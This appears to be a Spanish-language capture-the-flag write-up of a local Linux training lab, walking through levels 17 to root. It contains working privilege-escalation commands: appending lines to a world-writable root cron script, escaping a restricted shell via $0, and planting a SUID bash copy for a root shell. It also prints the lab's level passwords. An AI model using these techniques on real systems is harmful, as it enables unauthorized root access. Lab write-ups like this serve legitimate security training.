geteuid
libc.so.6
GLIBC 2.2.5
GLIBC 2.34
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
PTE1
u+UH
Uso: %s <comando> [argumentos...]

```

Vamos a probar ejecutar el comando id mediante el binario SUID

```

level17@linuxlab:/home/level14$ /usr/bin/executor id
uid=1017(level17) gid=1017(level17) groups=1017(level17)
level17@linuxlab:/home/level14$

```

Como podemos observar, al ejecutar id aún conserva el id del usuario level17, no mantiene los permisos del usuario level18 por lo que no podremos leer el archivo de contraseñas del usuario level8 mediante este binario, ya que al querer pasarle los permisos de ejecución al comando cat, lo rechaza y conserva los del usuario de la sesión (este es el comportamiento normal de seguridad para zsh)

```

level17@linuxlab:/home/level14$ /usr/bin/executor cat /etc/linuxlab_pass/level18
cat: /etc/linuxlab_pass/level18: Permission denied
level17@linuxlab:/home/level14$

```

Si probamos con la contraseña del propio usuario, si nos la debería dar

```

level17@linuxlab:/home/level14$ /usr/bin/executor cat /etc/linuxlab_pass/level17
hG7dM5bY8cQ1nX3s
level17@linuxlab:/home/level14$

```

Veamos la pista del siguiente nivel

Nivel 18 → Nivel 19

Tareas programadas (Crontab)



Objetivo del Nivel

Hay una tarea programada (cron job) que se ejecuta automáticamente a intervalos regulares. Investiga qué tarea está configurada en `/etc/cron.d/`, analiza el script que ejecuta y encuentra la forma de aprovechar sus permisos para obtener la contraseña del siguiente nivel.

Vamos a investigar que encontramos

```
level17@linuxlab:/home/level14$ ls -al /etc/cron.d
total 28
drwxr-xr-x 1 root root 4096 Sep 18 00:04 .
drwxr-xr-x 1 root root 4096 Sep 18 00:04 ..
-rw-r--r-- 1 root root 102 Mar  2 2023 .placeholder
-rw-r--r-- 1 root root 201 Jun  6 2025 e2scrub_all
-rw-r--r-- 1 root root  38 Sep 18 00:04 nivel18
-rw-r--r-- 1 root root 712 Jul 13 2022 php
level17@linuxlab:/home/level14$ cat /etc/cron.d/nivel18
* * * * * root /opt/scripts/backup.sh
level17@linuxlab:/home/level14$ la -al /opt/scripts/backup.sh
bash: la: command not found
level17@linuxlab:/home/level14$ ls -al /opt/scripts/backup.sh
-rwxrwxrwx 1 root root 97 Sep 18 00:04 /opt/scripts/backup.sh
level17@linuxlab:/home/level14$ cat /opt/scripts/backup.sh
#!/bin/bash
cat /etc/linuxlab_pass/level19 > /tmp/backup_pass.txt
chmod 644 /tmp/backup_pass.txt
level17@linuxlab:/home/level14$
```

Aquí vemos que la tarea nivel18 se ejecuta cada minuto y manda a ejecutar `/opt/scripts/backup.sh` (aunque el propietario es root, tiene mal configurado los permisos ya que cualquier usuario puede modificarlo y ejecutarlo), la cual hace una copia de la contraseña para level19 y cambia los permisos para que todos puedan leerla. Vamos a modificarlo para lograr obtener la contraseña solicitada del nivel anterior (ya que para este nivel solo sería hacer un cat a la copia de la contraseña)

```
level17@linuxlab:/home/level14$ echo "cat /etc/linuxlab_pass/level18 > /tmp/level18.txt" >> /opt/scripts/backup.sh
level17@linuxlab:/home/level14$ echo "chmod 644 /tmp/level18.txt" >> /opt/scripts/backup.sh
level17@linuxlab:/home/level14$ cat /opt/scripts/backup.sh
#!/bin/bash
cat /etc/linuxlab_pass/level19 > /tmp/backup_pass.txt
chmod 644 /tmp/backup_pass.txt
cat /etc/linuxlab_pass/level18 > /tmp/level18.txt
chmod 644 /tmp/level18.txt
level17@linuxlab:/home/level14$ ls -al /tmp/
total 20
drwxrwxrwt 1 root root 4096 Sep 18 14:49 .
drwxr-xr-x 1 root root 4096 Sep 18 00:04 ..
-rw-r--r-- 1 root root 17 Sep 18 14:49 backup_pass.txt
drwxr-xr-x 2 level12 level12 4096 Sep 18 03:56 level12_work
-rw-r--r-- 1 root root 17 Sep 18 14:49 level18.txt
level17@linuxlab:/home/level14$
```

Aquí añadimos dos líneas más para realizar la copia de la contraseña de level18 a /tmp y después cambiar los permisos para que cualquier usuario pueda leerlo, después verificamos el contenido del script modificado y finalmente comprobamos el contenido de /tmp

Contraseña level18

```
level17@linuxlab:/home/level14$ /usr/bin/executor cat /tmp/level18.txt
jL4vT9pR2kF6wH8q
level17@linuxlab:/home/level14$
```

Verificación de la contraseña de level18

```
level17@linuxlab:/home/level14$ su level18
Password:
level18@linuxlab:/home/level14$ ls -al /home/level18
total 24
drwx----- 2 level18 level18 4096 Sep 18 00:04 .
drwxr-xr-x 1 root root 4096 Sep 18 00:04 ..
-rw-r--r-- 1 level18 level18 220 May 7 20:33 .bash_logout
-rw-r--r-- 1 level18 level18 3526 May 7 20:33 .bashrc
-rw-r--r-- 1 level18 level18 807 May 7 20:33 .profile
-r----- 1 level18 level18 17 Sep 18 00:04 credencial.txt
level18@linuxlab:/home/level14$ cat /home/level18/credencial.txt
jL4vT9pR2kF6wH8q
level18@linuxlab:/home/level14$
```

Contraseña level19

```
level17@linuxlab:/home/level14$ cat /tmp/backup_pass.txt
nS1mX5cG3bK7dY9e
level17@linuxlab:/home/level14$
```

Hemos encontrado la contraseña de level19, pasemos al siguiente nivel

```
level18@linuxlab:/home/level14$ su level19
Password:
UPPERSHELL$ whoami
sh: 1: WHOAMI: not found
UPPERSHELL$ id
sh: 1: ID: not found
```

Veamos la pista de este nivel

Nivel 19 → Root

Escape de shell restringida



Objetivo del Nivel

Al conectarte como `level19`, notarás que tu shell es... diferente. Todo lo que escribes se convierte a MAYÚSCULAS antes de ejecutarse, lo que hace que la mayoría de comandos fallen. Tu misión es escapar de esta shell restringida y leer la flag final en `/root/flag.txt`.

```
sh: 1: WHOAMI: not found
UPPERSHELL$ id
sh: 1: ID: not found
UPPERSHELL$ X=/bin/bash
UPPERSHELL$ $X
UPPERSHELL$
UPPERSHELL$ X=/bin/bash
$XUPPERSHELL$
UPPERSHELL$ X=/bin/bash66$X
sh: 1: /BIN/BASH: not found
UPPERSHELL$ echo $X
sh: 1: ECHO: not found
UPPERSHELL$
UPPERSHELL$
UPPERSHELL$ /bin/bas?
sh: 1: /BIN/BAS?: not found
UPPERSHELL$
UPPERSHELL$ /bin/bas?
sh: 1: /BIN/BAS?: not found
UPPERSHELL$ /*/bash
sh: 1: /*/BASH: not found
UPPERSHELL$
UPPERSHELL$ $0
$ whoami
level19
$ id
uid=1019(level19) gid=1019(level19) groups=1019(level19)
$
```

UPPERSHELL\$ convierte todos los comando a mayúsculas antes de ejecutarlos, para escapar de esta shell probamos:

- Usar variables de entorno

Las variables de entorno pueden contener comandos en minúsculas. Si la shell convierte el nombre de la variable a mayúsculas, pero no el valor, podríamos usar una variable que contenga el comando

- Usar caracteres especiales o wildcards

Las wildcards (*, ?) no se convierten a mayúsculas. Podemos usarlas para referirnos a comandos

- Usar \$0 o \$SHELL

La variable \$0 contiene el nombre de la shell actual. \$SHELL contiene la shell por defecto

Ya que logramos escapar de UPPERSHELL\$ ahora buscaremos la forma de escalar a root o alguna forma de leer la bandera (podríamos usar el mismo script anterior)

Veamos si encontramos SUID, SGID, Capabilities

```
$ find / -perm -4000 -type f -ls 2>/dev/null
287914 64 -rwsr-xr-x 1 root root 62672 Dec 14 2025 /usr/bin/chfn
288055 68 -rwsr-xr-x 1 root root 68248 Dec 14 2025 /usr/bin/passwd
288107 72 -rwsr-xr-x 1 root root 72000 Nov 21 2024 /usr/bin/su
287981 88 -rwsr-xr-x 1 root root 88496 Dec 14 2025 /usr/bin/gpasswd
288131 36 -rwsr-xr-x 1 root root 35128 Nov 21 2024 /usr/bin/umount
288039 60 -rwsr-xr-x 1 root root 59704 Nov 21 2024 /usr/bin/mount
287920 52 -rwsr-xr-x 1 root root 52880 Dec 14 2025 /usr/bin/chsh
288044 48 -rwsr-xr-x 1 root root 48896 Dec 14 2025 /usr/bin/newgrp
296584 16 -rwsr-xr-x 1 level18 level18 16368 Jul 9 21:01 /usr/bin/executor
294016 644 -rwsr-xr-x 1 root root 657984 May 5 10:26 /usr/lib/openssh/ssh-keysign
$ find / -perm -2000 -type f -ls 2>/dev/null
287965 32 -rwxr-sr-x 1 root shadow 31184 Dec 14 2025 /usr/bin/expiry
287911 80 -rwxr-sr-x 1 root shadow 80376 Dec 14 2025 /usr/bin/chage
292206 476 -rwxr-sr-x 1 root _ssh 485760 May 5 10:26 /usr/bin/ssh-agent
292113 44 -rwxr-sr-x 1 root crontab 43648 Mar 2 2023 /usr/bin/crontab
289576 40 -rwxr-sr-x 1 root shadow 39160 Aug 10 2025 /usr/sbin/unix_chkpwd
$ getcap / 2>/dev/null
$
```

Usando el script tenemos dos opciones:

1. La más rápida crear una copia de la bandera y dar los permisos de lectura

```
$ echo "cat /root/flag.txt > /tmp/flag.txt" >> /opt/scripts/backup.sh
$ echo "chmod 644 /tmp/flag.txt" >> /opt/scripts/backup.sh
$ ls -al /tmp
total 20
drwxrwxrwt 1 root root 4096 Sep 18 14:49 .
drwxr-xr-x 1 root root 4096 Sep 18 00:04 ..
-rw-r--r-- 1 root root 17 Sep 18 15:38 backup_pass.txt
drwxr-xr-x 2 level12 level12 4096 Sep 18 03:56 level12_work
-rw-r--r-- 1 root root 17 Sep 18 15:38 level18.txt
$ ls -al /tmp/flag.txt
-rw-r--r-- 1 root root 38 Sep 18 15:40 /tmp/flag.txt
$ cat /tmp/flag.txt
linuxlab{[REDACTED]}
```

2. Crear una shell bash con SUID para escalar como root y leer la bandera

```
$ echo "cp /bin/bash /tmp/rootbash" >> /opt/scripts/backup.sh
$ echo "chmod 4755 /tmp/rootbash" >> /opt/scripts/backup.sh
$ ls -al /tmp
total 1260
drwxrwxrwt 1 root root 4096 Sep 18 15:42 .
drwxr-xr-x 1 root root 4096 Sep 18 00:04 ..
-rw-r--r-- 1 root root 17 Sep 18 15:42 backup_pass.txt
-rw-r--r-- 1 root root 38 Sep 18 15:42 flag.txt
drwxr-xr-x 2 level12 level12 4096 Sep 18 03:56 level12_work
-rw-r--r-- 1 root root 17 Sep 18 15:42 level18.txt
-rwsr-xr-x 1 root root 1265648 Sep 18 15:42 rootbash
$ /tmp/rootbash -p
rootbash-5.2# whoami
root
rootbash-5.2# cat /root/flag.txt
linuxlab{[REDACTED]}
rootbash-5.2#
```

Verificación de la bandera

```
chifay@kali: ~/Whoami-Labs/LINUX LAB
Session Actions Edit View Help
chifay@kali: ~/Whoami-Labs/LINUX LAB x level18@linuxlab: /home/level14 x chifay@kali: ~/Whoami-Labs/LINUX LAB x

[*] Iniciando laboratorio...
[*] Preparando laboratorio...

==
[v] Laboratorio desplegado correctamente.
==

LAB: LINUXLAB
DIFICULTAD: *****☆☆* difícil (5 XP)

==
Acceso SSH (resuelve todos los niveles desde aqui):
ssh level0@127.0.0.1 -p 2222
Password: whoami-labs0
Usa siempre SSH para avanzar; no necesitas acceso al contenedor Docker.

Portal web:
http://127.0.0.1:8080/

==
Ingresa la flag final (formato linuxlab{...}): linuxlab{XXXXXXXXXXXXXXXXXXXX}

¡Felicitaciones! Has completado LINUXLAB.
FECHA Y HORA: 2026-09-18 09:46:26 -0600

==
[*] Presiona Ctrl+C para eliminar el laboratorio.
```